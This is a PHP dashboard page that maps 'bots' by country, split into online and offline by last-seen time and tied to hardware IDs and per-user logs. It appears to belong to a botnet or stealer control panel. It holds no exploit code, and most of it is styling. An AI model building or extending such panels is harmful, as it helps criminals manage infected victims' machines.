<?php
// Include the config file
include("../config.php");

// Get the current username from the session
$current_username = $_SESSION['username'];

// Make sure user is logged in and session exists
if (!isset($_SESSION['username']) || empty($_SESSION['username'])) {
    echo "Error: User not logged in";
    exit;
}

// Set timezone for PHP
date_default_timezone_set('Europe/Berlin');

// Set timezone for MySQL connection
mysqli_query($condb, "SET time_zone = '+02:00'");

// Get online bot distribution data (bots seen in last 4 minutes) filtered by username
$query_online = "SELECT b.Country, COUNT(*) as count 
    FROM bot b
    JOIN logs l ON b.HWID = l.hwid
    WHERE TIMESTAMPDIFF(MINUTE, STR_TO_DATE(b.Date_Time, '%Y/%m/%d %h:%i:%s %p'), NOW()) < 4 
    AND STR_TO_DATE(b.Date_Time, '%Y/%m/%d %h:%i:%s %p') <= NOW() 
    AND b.Country IS NOT NULL AND b.Country != ''
    AND l.username = ?
    GROUP BY b.Country";

$stmt = mysqli_prepare($condb, $query_online);
mysqli_stmt_bind_param($stmt, "s", $current_username);
mysqli_stmt_execute($stmt);
$result_online = mysqli_stmt_get_result($stmt);
$onlineBotData = array();

if ($result_online) {
    while ($row = mysqli_fetch_assoc($result_online)) {
        $onlineBotData[$row['Country']] = intval($row['count']);
    }
}

// Get offline bot distribution data (bots not seen in last 4 minutes) filtered by username
$query_offline = "SELECT b.Country, COUNT(*) as count 
    FROM bot b
    JOIN logs l ON b.HWID = l.hwid
    WHERE (TIMESTAMPDIFF(MINUTE, STR_TO_DATE(b.Date_Time, '%Y/%m/%d %h:%i:%s %p'), NOW()) >= 4 
    OR STR_TO_DATE(b.Date_Time, '%Y/%m/%d %h:%i:%s %p') > NOW())
    AND b.Country IS NOT NULL AND b.Country != ''
    AND l.username = ?
    GROUP BY b.Country";

$stmt = mysqli_prepare($condb, $query_offline);
mysqli_stmt_bind_param($stmt, "s", $current_username);
mysqli_stmt_execute($stmt);
$result_offline = mysqli_stmt_get_result($stmt);
$offlineBotData = array();

if ($result_offline) {
    while ($row = mysqli_fetch_assoc($result_offline)) {
        if (!empty($row['Country'])) {
            $offlineBotData[$row['Country']] = intval($row['count']);
        }
    }
}

// Convert 2-letter country codes to 3-letter codes
$countryCodeMap = array(
    'AF' => 'AFG', 'AX' => 'ALA', 'AL' => 'ALB', 'DZ' => 'DZA', 'AS' => 'ASM', 'AD' => 'AND', 'AO' => 'AGO', 'AI' => 'AIA', 'AQ' => 'ATA', 'AG' => 'ATG',
    'AR' => 'ARG', 'AM' => 'ARM', 'AW' => 'ABW', 'AU' => 'AUS', 'AT' => 'AUT', 'AZ' => 'AZE', 'BS' => 'BHS', 'BH' => 'BHR', 'BD' => 'BGD', 'BB' => 'BRB',
    'BY' => 'BLR', 'BE' => 'BEL', 'BZ' => 'BLZ', 'BJ' => 'BEN', 'BM' => 'BMU', 'BT' => 'BTN', 'BO' => 'BOL', 'BA' => 'BIH', 'BW' => 'BWA', 'BV' => 'BVT',
    'BR' => 'BRA', 'IO' => 'IOT', 'BN' => 'BRN', 'BG' => 'BGR', 'BF' => 'BFA', 'BI' => 'BDI', 'KH' => 'KHM', 'CM' => 'CMR', 'CA' => 'CAN', 'CV' => 'CPV',
    'KY' => 'CYM', 'CF' => 'CAF', 'TD' => 'TCD', 'CL' => 'CHL', 'CN' => 'CHN', 'CX' => 'CXR', 'CC' => 'CCK', 'CO' => 'COL', 'KM' => 'COM', 'CG' => 'COG',
    'CD' => 'COD', 'CK' => 'COK', 'CR' => 'CRI', 'CI' => 'CIV', 'HR' => 'HRV', 'CU' => 'CUB', 'CY' => 'CYP', 'CZ' => 'CZE', 'DK' => 'DNK', 'DJ' => 'DJI',
    'DM' => 'DMA', 'DO' => 'DOM', 'EC' => 'ECU', 'EG' => 'EGY', 'SV' => 'SLV', 'GQ' => 'GNQ', 'ER' => 'ERI', 'EE' => 'EST', 'ET' => 'ETH', 'FK' => 'FLK',
    'FO' => 'FRO', 'FJ' => 'FJI', 'FI' => 'FIN', 'FR' => 'FRA', 'GF' => 'GUF', 'PF' => 'PYF', 'TF' => 'ATF', 'GA' => 'GAB', 'GM' => 'GMB', 'GE' => 'GEO',
    'DE' => 'DEU', 'GH' => 'GHA', 'GI' => 'GIB', 'GR' => 'GRC', 'GL' => 'GRL', 'GD' => 'GRD', 'GP' => 'GLP', 'GU' => 'GUM', 'GT' => 'GTM', 'GG' => 'GGY',
    'GN' => 'GIN', 'GW' => 'GNB', 'GY' => 'GUY', 'HT' => 'HTI', 'HM' => 'HMD', 'VA' => 'VAT', 'HN' => 'HND', 'HK' => 'HKG', 'HU' => 'HUN', 'IS' => 'ISL',
    'IN' => 'IND', 'ID' => 'IDN', 'IR' => 'IRN', 'IQ' => 'IRQ', 'IE' => 'IRL', 'IM' => 'IMN', 'IL' => 'ISR', 'IT' => 'ITA', 'JM' => 'JAM', 'JP' => 'JPN',
    'JE' => 'JEY', 'JO' => 'JOR', 'KZ' => 'KAZ', 'KE' => 'KEN', 'KI' => 'KIR', 'KP' => 'PRK', 'KR' => 'KOR', 'KW' => 'KWT', 'KG' => 'KGZ', 'LA' => 'LAO',
    'LV' => 'LVA', 'LB' => 'LBN', 'LS' => 'LSO', 'LR' => 'LBR', 'LY' => 'LBY', 'LI' => 'LIE', 'LT' => 'LTU', 'LU' => 'LUX', 'MO' => 'MAC', 'MK' => 'MKD',
    'MG' => 'MDG', 'MW' => 'MWI', 'MY' => 'MYS', 'MV' => 'MDV', 'ML' => 'MLI', 'MT' => 'MLT', 'MH' => 'MHL', 'MQ' => 'MTQ', 'MR' => 'MRT', 'MU' => 'MUS',
    'YT' => 'MYT', 'MX' => 'MEX', 'FM' => 'FSM', 'MD' => 'MDA', 'MC' => 'MCO', 'MN' => 'MNG', 'ME' => 'MNE', 'MS' => 'MSR', 'MA' => 'MAR', 'MZ' => 'MOZ',
    'MM' => 'MMR', 'NA' => 'NAM', 'NR' => 'NRU', 'NP' => 'NPL', 'NL' => 'NLD', 'NC' => 'NCL', 'NZ' => 'NZL', 'NI' => 'NIC', 'NE' => 'NER', 'NG' => 'NGA',
    'NU' => 'NIU', 'NF' => 'NFK', 'MP' => 'MNP', 'NO' => 'NOR', 'OM' => 'OMN', 'PK' => 'PAK', 'PW' => 'PLW', 'PS' => 'PSE', 'PA' => 'PAN', 'PG' => 'PNG',
    'PY' => 'PRY', 'PE' => 'PER', 'PH' => 'PHL', 'PN' => 'PCN', 'PL' => 'POL', 'PT' => 'PRT', 'PR' => 'PRI', 'QA' => 'QAT', 'RE' => 'REU', 'RO' => 'ROU',
    'RU' => 'RUS', 'RW' => 'RWA', 'BL' => 'BLM', 'SH' => 'SHN', 'KN' => 'KNA', 'LC' => 'LCA', 'MF' => 'MAF', 'PM' => 'SPM', 'VC' => 'VCT', 'WS' => 'WSM',
    'SM' => 'SMR', 'ST' => 'STP', 'SA' => 'SAU', 'SN' => 'SEN', 'RS' => 'SRB', 'SC' => 'SYC', 'SL' => 'SLE', 'SG' => 'SGP', 'SK' => 'SVK', 'SI' => 'SVN',
    'SB' => 'SLB', 'SO' => 'SOM', 'ZA' => 'ZAF', 'GS' => 'SGS', 'ES' => 'ESP', 'LK' => 'LKA', 'SD' => 'SDN', 'SR' => 'SUR', 'SJ' => 'SJM', 'SZ' => 'SWZ',
    'SE' => 'SWE', 'CH' => 'CHE', 'SY' => 'SYR', 'TW' => 'TWN', 'TJ' => 'TJK', 'TZ' => 'TZA', 'TH' => 'THA', 'TL' => 'TLS', 'TG' => 'TGO', 'TK' => 'TKL',
    'TO' => 'TON', 'TT' => 'TTO', 'TN' => 'TUN', 'TR' => 'TUR', 'TM' => 'TKM', 'TC' => 'TCA', 'TV' => 'TUV', 'UG' => 'UGA', 'UA' => 'UKR', 'AE' => 'ARE',
    'GB' => 'GBR', 'US' => 'USA', 'UM' => 'UMI', 'UY' => 'URY', 'UZ' => 'UZB', 'VU' => 'VUT', 'VE' => 'VEN', 'VN' => 'VNM', 'VG' => 'VGB', 'VI' => 'VIR',
    'WF' => 'WLF', 'EH' => 'ESH', 'YE' => 'YEM', 'ZM' => 'ZMB', 'ZW' => 'ZWE'
);

// Convert the bot data to use 3-letter codes
$convertedOnlineBotData = array();
$convertedOfflineBotData = array();

foreach ($onlineBotData as $country => $count) {
    if (isset($countryCodeMap[$country])) {
        $convertedOnlineBotData[$countryCodeMap[$country]] = $count;
    }
}

foreach ($offlineBotData as $country => $count) {
    if (isset($countryCodeMap[$country])) {
        $convertedOfflineBotData[$countryCodeMap[$country]] = $count;
    }
}
?>

<div class="row">
    <div class="col-md-12">
        <div class="panel panel-default">
            <div class="panel-heading">
                <h3 class="panel-title">Bot Distribution</h3>
            </div>
            <div class="panel-body">
                <div id="world-map" style="height: 700px; width: 100%;"></div>
            </div>
        </div>
    </div>
</div>

<!-- Country Details Table -->
<div class="row">
    <div class="col-md-12">
        <div class="quantum-panel">
            <div class="quantum-header">
                <div class="quantum-title">
                    <div class="quantum-icon">
                        <i class="ion-earth"></i>
                    </div>
                    <h3>Country Details</h3>
                </div>
                <div class="quantum-header-line"></div>
            </div>
            <div class="quantum-body">
                <div class="quantum-table-wrapper">
                    <table class="quantum-table">
                        <thead>
                            <tr>
                                <th><i class="ion-flag"></i> Country</th>
                                <th class="sortable" data-sort="total">
                                    <i class="ion-ios-people"></i> Total Bots
                                    <i class="fa fa-sort sort-icon"></i>
                                </th>
                                <th class="sortable" data-sort="online">
                                    <i class="ion-radio-waves"></i> Online Bots
                                    <i class="fa fa-sort sort-icon"></i>
                                </th>
                                <th class="sortable" data-sort="offline">
                                    <i class="ion-ios-circle-outline"></i> Offline Bots
                                    <i class="fa fa-sort sort-icon"></i>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php
                            // Combine and sort countries by total bot count
                            $allCountries = array();
                            
                            // First, add all online bots
                            foreach ($convertedOnlineBotData as $country => $count) {
                                $allCountries[$country] = array(
                                    'online' => $count,
                                    'offline' => 0
                                );
                            }
                            
                            // Then, add or update offline bots
                            foreach ($convertedOfflineBotData as $country => $count) {
                                if (isset($allCountries[$country])) {
                                    $allCountries[$country]['offline'] = $count;
                                } else {
                                    $allCountries[$country] = array(
                                        'online' => 0,
                                        'offline' => $count
                                    );
                                }
                            }

                            // Sort by total bot count
                            uasort($allCountries, function($a, $b) {
                                $total_a = $a['online'] + $a['offline'];
                                $total_b = $b['online'] + $b['offline'];
                                return $total_b - $total_a;
                            });

                            foreach ($allCountries as $country => $counts) {
                                $countryCode = array_search($country, $countryCodeMap);
                                if ($countryCode) {
                                    $total = $counts['online'] + $counts['offline'];
                                    echo '<tr>';
                                    echo '<td>
                                            <div class="country-name-container">
                                                <img src="../img/flags/' . strtolower($countryCode) . '.png" class="country-flag" alt="' . $countryCode . '" />
                                                <span class="country-name">' . getCountryFullName($countryCode) . '</span>
                                            </div>
                                          </td>';
                                    echo '<td><span class="stat-value total-bots">' . $total . '</span></td>';
                                    echo '<td><span class="stat-value online-bots">' . $counts['online'] . '</span></td>';
                                    echo '<td><span class="stat-value offline-bots">' . $counts['offline'] . '</span></td>';
                                    echo '</tr>';
                                }
                            }
                            ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- Include Font Awesome -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

<!-- Include D3.js and Datamaps -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/3.5.3/d3.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/topojson/1.6.9/topojson.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/datamaps/0.5.9/datamaps.all.min.js"></script>

<script>
document.addEventListener('DOMContentLoaded', function() {
    // Add resize handling for the map
    var resizeMap = function() {
        if (window.map && typeof window.map.resize === 'function') {
            window.map.resize();
        }
    };

    // Resize the map on window resize
    window.addEventListener('resize', resizeMap);

    // Initial resize
    setTimeout(resizeMap, 500);
    
    var onlineBotData = <?php echo json_encode($convertedOnlineBotData); ?>;
    var offlineBotData = <?php echo json_encode($convertedOfflineBotData); ?>;
    var countryData = {};
    
    // Combine online and offline data
    Object.keys(onlineBotData).forEach(function(country) {
        countryData[country] = {
            fillKey: 'online',
            onlineBots: onlineBotData[country],
            offlineBots: offlineBotData[country] || 0
        };
    });
    
    Object.keys(offlineBotData).forEach(function(country) {
        if (!countryData[country]) {
            countryData[country] = {
                fillKey: 'offline',
                onlineBots: 0,
                offlineBots: offlineBotData[country]
            };
        }
    });
    
    // Create the map and store it in the window object for resize access
    window.map = new Datamap({
        element: document.getElementById('world-map'),
        responsive: true,
        setProjection: function(element) {
            var width = element.offsetWidth;
            var height = element.offsetHeight;
            var projection = d3.geo.equirectangular()
                .center([0, 30]) // Robust centering
                .scale(width / 5.5) // Make map a little bit smaller
                .translate([width / 2, height / 2]);
            var path = d3.geo.path().projection(projection);
            return {path: path, projection: projection};
        },
        fills: {
            defaultFill: '#ffffff',
            online: '#46DD14',  // Green for online
            offline: '#E53935'  // Red for offline
        },
        data: countryData,
        geographyConfig: {
            borderColor: 'transparent',
            borderWidth: 0,
            highlightFillColor: function(geo) {
                var country = countryData[geo.id];
                return country ? '#00f3ff' : '#ffffff';
            },
            highlightBorderColor: '#00f3ff',
            highlightBorderWidth: 1,
            popupTemplate: function(geo, data) {
                if (!data) return;
                return '<div class="hoverinfo">' +
                    '<strong>' + geo.properties.name + '</strong><br/>' +
                    'Online: ' + (data.onlineBots || 0) + '<br/>' +
                    'Offline: ' + (data.offlineBots || 0) +
                    '</div>';
            }
        }
    });
});
</script>

<style>
.hoverinfo {
    padding: 10px;
    border-radius: 4px;
    background-color: white;
    box-shadow: 1px 1px 5px rgba(0,0,0,0.2);
    font-size: 12px;
    border: 1px solid rgba(0,0,0,0.2);
}

.datamaps-subunit {
    cursor: pointer;
    transition: all 0.2s ease;
}

.datamaps-subunit:hover {
    stroke-width: 2px !important;
    stroke: #ffffff !important;
    filter: drop-shadow(0 0 4px rgba(255, 255, 255, 0.8));
}

.sortable {
    cursor: pointer;
    position: relative;
    transition: all 0.3s ease;
}

.sort-btn {
    background: none;
    border: none;
    padding: 0 5px;
    cursor: pointer;
    color: #666;
}

.sort-btn:hover {
    color: #333;
}

.sort-btn i {
    font-size: 14px;
}

.cyber-tooltip {
    background: rgba(0, 0, 0, 0.95) !important;
    border: 1px solid #30cfd0 !important;
    box-shadow: 0 0 15px rgba(48, 207, 208, 0.5) !important;
    padding: 15px !important;
    border-radius: 5px !important;
    min-width: 200px !important;
    font-family: 'Orbitron', sans-serif !important;
}

.tooltip-header {
    text-align: center !important;
    margin-bottom: 15px !important;
    padding-bottom: 10px !important;
    border-bottom: 1px solid #30cfd0 !important;
}

.country-name {
    color: #30cfd0 !important;
    font-size: 16px !important;
    font-weight: bold !important;
    text-transform: uppercase !important;
    letter-spacing: 1px !important;
    text-shadow: 0 0 10px rgba(48, 207, 208, 0.5) !important;
}

.stats-grid {
    display: grid !important;
    grid-template-columns: repeat(3, 1fr) !important;
    gap: 10px !important;
    text-align: center !important;
}

.stat-item {
    padding: 10px !important;
    border-radius: 4px !important;
    background: rgba(48, 207, 208, 0.1) !important;
}

.stat-value {
    font-size: 20px !important;
    font-weight: bold !important;
    margin-bottom: 5px !important;
}

.stat-label {
    font-size: 12px !important;
    text-transform: uppercase !important;
    letter-spacing: 0.5px !important;
}

/* Stat item specific colors */
.stat-item.total .stat-value {
    color: #30cfd0 !important;
    text-shadow: 0 0 10px rgba(48, 207, 208, 0.5) !important;
}

.stat-item.online .stat-value {
    color: #46DD14 !important;
    text-shadow: 0 0 10px rgba(70, 221, 20, 0.5) !important;
}

.stat-item.offline .stat-value {
    color: #E53935 !important;
    text-shadow: 0 0 10px rgba(229, 57, 53, 0.5) !important;
}

.stat-item .stat-label {
    color: #ffffff !important;
}

/* Map specific styles */
.datamaps-subunit {
    transition: all 0.3s ease !important;
}

/* Countries with data */
.datamaps-subunit:not([data-info="{}"]) {
    stroke: #30cfd0 !important;
    stroke-width: 0.5px !important;
    filter: drop-shadow(0 0 2px rgba(48, 207, 208, 0.3)) !important;
}

/* Hover effect for countries with data */
.datamaps-subunit:not([data-info="{}"]):hover {
    stroke-width: 2px !important;
    filter: drop-shadow(0 0 8px rgba(48, 207, 208, 0.6)) !important;
}

/* White countries (no data) */
.datamaps-subunit[data-info="{}"] {
    fill: #ffffff !important;
    stroke: #ffffff !important;
    stroke-width: 0.5px !important;
}

/* Add these styles to fix the country details table */
.table-bordered {
    border: 1px solid rgba(48, 207, 208, 0.2) !important;
}

.table-bordered > thead > tr > th,
.table-bordered > tbody > tr > td {
    border: 1px solid rgba(48, 207, 208, 0.2) !important;
}

.table-striped > tbody > tr {
    transition: background-color 0.3s ease;
}

.sortable:hover {
    background: rgba(0, 243, 255, 0.1);
}

.sort-icon {
    margin-left: 8px;
    font-size: 12px;
    color: var(--quantum-primary);
    transition: all 0.3s ease;
}

.sortable:hover .sort-icon {
    transform: scale(1.2);
}

/* Map container styling */
#world-map {
    width: 100% !important;
    max-width: 100% !important;
    margin: 0 auto;
    aspect-ratio: 2 / 1;
    height: auto !important;
    min-height: 600px;
}

.datamap, .datamap svg {
    width: 100% !important; 
    height: 100% !important;
    max-width: 100% !important;
    max-height: 100% !important;
}

/* Enhanced tooltip styling */
.cyber-tooltip {
    background: rgba(0, 0, 0, 0.9) !important;
    border: 1px solid #30cfd0 !important;
    box-shadow: 0 0 15px rgba(48, 207, 208, 0.5),
                inset 0 0 15px rgba(48, 207, 208, 0.3) !important;
    padding: 15px !important;
    font-family: 'Orbitron', sans-serif !important;
    color: #fff !important;
    border-radius: 5px !important;
    min-width: 300px !important;
    backdrop-filter: blur(5px) !important;
}

.tooltip-header {
    border-bottom: 1px solid #30cfd0;
    margin-bottom: 10px;
    padding-bottom: 10px;
}

.country-name {
    color: #30cfd0 !important;
    font-size: 16px !important;
    font-weight: bold !important;
    text-transform: uppercase !important;
    letter-spacing: 2px !important;
    margin-bottom: 5px !important;
    text-shadow: 0 0 10px rgba(48, 207, 208, 0.5) !important;
}

.total-bots {
    color: #fff !important;
    font-size: 14px !important;
    text-transform: uppercase !important;
    letter-spacing: 1px !important;
}

.stats-container {
    padding: 10px 0 !important;
}

.stat-row {
    display: flex !important;
    align-items: center !important;
    margin: 10px 0 !important;
    gap: 10px !important;
}

.stat-label {
    width: 100px !important;
    font-size: 12px !important;
    color: #fff !important;
    text-transform: uppercase !important;
}

.stat-bar {
    flex-grow: 1 !important;
    height: 8px !important;
    background: rgba(255, 255, 255, 0.1) !important;
    border-radius: 4px !important;
    overflow: hidden !important;
    border: 1px solid rgba(48, 207, 208, 0.3) !important;
}

.bar-fill {
    height: 100% !important;
    transition: width 0.3s ease !important;
}

.online-fill {
    background: linear-gradient(90deg, #46DD14, #7DFF55) !important;
    box-shadow: 0 0 10px rgba(70, 221, 20, 0.5) !important;
}

.offline-fill {
    background: linear-gradient(90deg, #E53935, #FF5252) !important;
    box-shadow: 0 0 10px rgba(229, 57, 53, 0.5) !important;
}

.stat-value {
    width: 40px !important;
    text-align: right !important;
    font-size: 12px !important;
    font-weight: bold !important;
    color: #fff !important;
}

/* Cyberpunk Table Container */
.country-details {
    background: rgba(13, 17, 23, 0.95);
    border: 1px solid #30cfd0;
    box-shadow: 0 0 30px rgba(48, 207, 208, 0.2);
    border-radius: 8px;
    margin: 20px;
    overflow: hidden;
}

.country-details table {
    width: 100%;
    border-collapse: separate;
    border-spacing: 0;
}

.country-details thead th {
    background: linear-gradient(180deg, rgba(26, 26, 46, 0.95), rgba(22, 33, 62, 0.95));
    color: #30cfd0;
    padding: 20px;
    text-transform: uppercase;
    font-weight: bold;
    border-bottom: 2px solid #30cfd0;
    text-shadow: 0 0 10px rgba(48, 207, 208, 0.5);
}

.country-details tbody tr {
    background: rgba(26, 26, 46, 0.8);
    border-bottom: 1px solid rgba(48, 207, 208, 0.2);
    transition: all 0.3s ease;
}

.country-details tbody tr:hover {
    background: rgba(48, 207, 208, 0.1);
    transform: translateX(5px);
}

.country-name-container {
    display: flex;
    align-items: center;
    gap: 15px;
}

.country-flag {
    width: 32px;
    height: 24px;
    object-fit: cover;
    border-radius: 4px;
    box-shadow: 0 0 10px rgba(48, 207, 208, 0.3);
}

.country-name {
    color: #30cfd0;
    font-weight: bold;
    text-shadow: 0 0 5px rgba(48, 207, 208, 0.3);
}

.stat-value {
    display: inline-block;
    padding: 5px 10px;
    border-radius: 4px;
    font-weight: bold;
    text-align: center;
    min-width: 40px;
}

.total-bots {
    background: rgba(48, 207, 208, 0.1);
    color: #30cfd0;
}

.online-bots {
    background: rgba(70, 221, 20, 0.1);
    color: #46DD14;
}

.offline-bots {
    background: rgba(229, 57, 53, 0.1);
    color: #E53935;
}

:root {
    --cyber-primary: #00f7ff;
    --cyber-secondary: #0066ff;
    --cyber-accent: #ff00ff;
    --cyber-background: #0a0a1f;
    --cyber-surface: #12121f;
    --cyber-text: #ffffff;
    --cyber-border: #00f7ff;
    --cyber-glow: rgba(0, 247, 255, 0.5);
    --cyber-shadow: rgba(0, 247, 255, 0.2);
}

.cyber-table {
    width: 100%;
    border-collapse: separate;
    border-spacing: 0;
    margin-top: 20px;
    background: var(--cyber-background);
    border: 1px solid var(--cyber-border);
    box-shadow: 0 0 15px var(--cyber-glow);
    border-radius: 5px;
    overflow: hidden;
}

.cyber-table thead {
    background: linear-gradient(90deg, var(--cyber-surface), var(--cyber-background));
    border-bottom: 2px solid var(--cyber-border);
}

.cyber-table th {
    color: var(--cyber-primary);
    text-transform: uppercase;
    font-family: 'Orbitron', sans-serif;
    font-size: 14px;
    letter-spacing: 1px;
    padding: 15px;
    text-align: left;
    position: relative;
    text-shadow: 0 0 5px var(--cyber-primary);
}

.cyber-table th i {
    margin-right: 8px;
    color: var(--cyber-primary);
    text-shadow: 0 0 5px var(--cyber-primary);
}

.cyber-table tbody tr {
    transition: all 0.3s ease;
    border-bottom: 1px solid rgba(0, 195, 255, 0.1);
}

.cyber-table tbody tr:hover {
    background: rgba(0, 195, 255, 0.05);
    box-shadow: 0 0 10px rgba(0, 195, 255, 0.2);
}

.cyber-table td {
    padding: 12px 15px;
    color: var(--cyber-text);
    font-family: 'Rajdhani', sans-serif;
    font-size: 16px;
}

.country-name-container {
    display: flex;
    align-items: center;
}

.country-flag {
    width: 24px;
    height: 16px;
    margin-right: 10px;
    border: 1px solid var(--cyber-border);
    box-shadow: 0 0 5px var(--cyber-glow);
}

.country-name {
    font-weight: 500;
    color: var(--cyber-text);
}

.stat-value {
    display: inline-block;
    padding: 5px 10px;
    border-radius: 3px;
    font-weight: 600;
    text-align: center;
    min-width: 60px;
}

.total-bots {
    background: rgba(0, 247, 255, 0.1);
    color: var(--cyber-primary);
    border: 1px solid var(--cyber-primary);
    text-shadow: 0 0 5px var(--cyber-glow);
}

.online-bots {
    background: rgba(0, 255, 0, 0.1);
    color: #00ff00;
    border: 1px solid #00ff00;
    text-shadow: 0 0 5px rgba(0, 255, 0, 0.5);
}

.offline-bots {
    background: rgba(255, 0, 0, 0.1);
    color: #ff0000;
    border: 1px solid #ff0000;
    text-shadow: 0 0 5px rgba(255, 0, 0, 0.5);
}

/* Add animation for the table rows */
@keyframes pulse {
    0% { box-shadow: 0 0 5px var(--cyber-glow); }
    50% { box-shadow: 0 0 15px var(--cyber-glow); }
    100% { box-shadow: 0 0 5px var(--cyber-glow); }
}

.cyber-table tbody tr:hover {
    animation: pulse 2s infinite;
}

/* Add a scanline effect to the table */
.cyber-table::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 2px;
    background: linear-gradient(90deg, transparent, var(--cyber-primary), transparent);
    animation: scanline 2s linear infinite;
}

@keyframes scanline {
    0% { transform: translateX(-100%); }
    100% { transform: translateX(100%); }
}

/* Quantum Cyberpunk Theme */
:root {
    --quantum-primary: #00f3ff;
    --quantum-secondary: #0066ff;
    --quantum-accent: #ff00ff;
    --quantum-success: #00ff9d;
    --quantum-danger: #ff3e3e;
    --quantum-bg: #000510;
    --quantum-surface: #000814;
    --quantum-surface-light: #001a2c;
    --quantum-text: #ffffff;
    --quantum-border: #00f3ff;
    --quantum-glow: rgba(0, 243, 255, 0.5);
    --quantum-shadow: rgba(0, 243, 255, 0.2);
    --quantum-gradient: linear-gradient(135deg, #00f3ff, #0066ff);
    --quantum-grid-size: 20px;
    --quantum-blue-dim: rgba(0, 243, 255, 0.15);
}

/* Panel Styling */
.quantum-panel {
    background: var(--quantum-bg);
    border: 1px solid var(--quantum-border);
    border-radius: 8px;
    box-shadow: 0 0 30px var(--quantum-shadow),
                inset 0 0 20px rgba(0, 26, 44, 0.8);
    margin: 20px 0;
    overflow: hidden;
    position: relative;
    width: 100%;
    max-width: 100%;
}

.quantum-panel::before {
    content: '';
    position: absolute;
    inset: 0;
    background: 
        linear-gradient(90deg, transparent 0%, var(--quantum-blue-dim) 50%, transparent 100%),
        linear-gradient(0deg, transparent 0%, var(--quantum-blue-dim) 50%, transparent 100%);
    background-size: var(--quantum-grid-size) var(--quantum-grid-size);
    animation: grid-move 20s linear infinite;
    opacity: 0.1;
    pointer-events: none;
}

@keyframes grid-move {
    0% { background-position: 0 0; }
    100% { background-position: var(--quantum-grid-size) var(--quantum-grid-size); }
}

.quantum-header {
    background: linear-gradient(165deg, var(--quantum-surface), var(--quantum-surface-light));
    padding: 20px;
    position: relative;
    border-bottom: 1px solid var(--quantum-blue-dim);
}

.quantum-title {
    display: flex;
    align-items: center;
    gap: 15px;
}

.quantum-icon {
    width: 40px;
    height: 40px;
    display: flex;
    align-items: center;
    justify-content: center;
    background: rgba(0, 247, 255, 0.1);
    border-radius: 50%;
    border: 1px solid var(--quantum-border);
    box-shadow: 0 0 10px var(--quantum-glow);
    position: relative;
}

.quantum-icon::after {
    content: '';
    position: absolute;
    top: -2px;
    left: -2px;
    right: -2px;
    bottom: -2px;
    border-radius: 50%;
    background: linear-gradient(45deg, var(--quantum-primary), transparent);
    opacity: 0.5;
    filter: blur(4px);
    z-index: -1;
}

.quantum-icon i {
    color: var(--quantum-primary);
    font-size: 20px;
    text-shadow: 0 0 5px var(--quantum-glow);
}

.quantum-title h3 {
    color: var(--quantum-text);
    font-family: 'Orbitron', sans-serif;
    font-size: 22px;
    margin: 0;
    text-transform: uppercase;
    letter-spacing: 2px;
    text-shadow: 0 0 10px var(--quantum-glow);
}

.quantum-body {
    padding: 20px;
    background: linear-gradient(165deg, var(--quantum-bg), var(--quantum-surface));
    position: relative;
}

/* Table Styling */
.quantum-table-wrapper {
    position: relative;
    border-radius: 8px;
    background: linear-gradient(165deg, var(--quantum-bg), var(--quantum-surface));
    box-shadow: 0 0 20px rgba(0, 0, 0, 0.3),
                inset 0 0 15px rgba(0, 26, 44, 0.8);
    overflow: hidden;
    width: 100%;
    overflow-x: auto;
}

.quantum-table-wrapper::before {
    content: '';
    position: absolute;
    inset: 0;
    background: 
        linear-gradient(90deg, transparent 0%, var(--quantum-blue-dim) 50%, transparent 100%),
        linear-gradient(0deg, transparent 0%, var(--quantum-blue-dim) 50%, transparent 100%);
    background-size: var(--quantum-grid-size) var(--quantum-grid-size);
    animation: grid-move 20s linear infinite;
    opacity: 0.1;
    pointer-events: none;
}

.quantum-table {
    width: 100%;
    border-collapse: separate;
    border-spacing: 0;
    color: var(--quantum-text);
    position: relative;
    z-index: 1;
}

.quantum-table thead {
    background: linear-gradient(165deg, 
        var(--quantum-surface) 0%,
        var(--quantum-surface-light) 100%);
}

.quantum-table th {
    color: var(--quantum-primary);
    font-family: 'Orbitron', sans-serif;
    font-size: 14px;
    font-weight: 600;
    letter-spacing: 2px;
    padding: 20px 15px;
    text-align: left;
    text-transform: uppercase;
    border-bottom: 1px solid var(--quantum-border);
    position: relative;
}

.quantum-table th i {
    margin-right: 10px;
    color: var(--quantum-primary);
    text-shadow: 0 0 5px var(--quantum-glow);
}

.quantum-table tbody tr {
    background: transparent;
    transition: all 0.3s ease;
    border-bottom: 1px solid var(--quantum-blue-dim);
}

.quantum-table tbody tr:hover {
    background: linear-gradient(165deg, 
        rgba(0, 243, 255, 0.05) 0%,
        rgba(0, 102, 255, 0.05) 100%);
    transform: translateX(5px);
}

.quantum-table td {
    padding: 15px;
    font-family: 'Rajdhani', sans-serif;
    font-size: 16px;
    transition: all 0.3s ease;
}

/* Country Name Styling */
.country-name-container {
    display: flex;
    align-items: center;
    gap: 15px;
}

.country-flag {
    width: 30px;
    height: 20px;
    border: 1px solid var(--quantum-border);
    box-shadow: 0 0 5px var(--quantum-glow);
    border-radius: 4px;
    transition: all 0.3s ease;
}

.country-name {
    color: var(--quantum-text);
    font-weight: 500;
    text-shadow: 0 0 5px var(--quantum-glow);
    transition: all 0.3s ease;
}

/* Stats Styling */
.stat-value {
    display: inline-block;
    padding: 8px 12px;
    border-radius: 6px;
    font-weight: 600;
    text-align: center;
    min-width: 70px;
    position: relative;
    overflow: hidden;
    transition: all 0.3s ease;
}

.stat-value::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: linear-gradient(45deg, transparent, rgba(255, 255, 255, 0.1), transparent);
    transform: translateX(-100%);
    transition: transform 0.5s ease;
}

.stat-value:hover::before {
    transform: translateX(100%);
}

.total-bots {
    background: rgba(0, 247, 255, 0.1);
    color: var(--quantum-primary);
    border: 1px solid var(--quantum-primary);
    text-shadow: 0 0 5px var(--quantum-glow);
}

.online-bots {
    background: rgba(0, 255, 157, 0.1);
    color: var(--quantum-success);
    border: 1px solid var(--quantum-success);
    text-shadow: 0 0 5px rgba(0, 255, 157, 0.5);
}

.offline-bots {
    background: rgba(255, 62, 62, 0.1);
    color: var(--quantum-danger);
    border: 1px solid var(--quantum-danger);
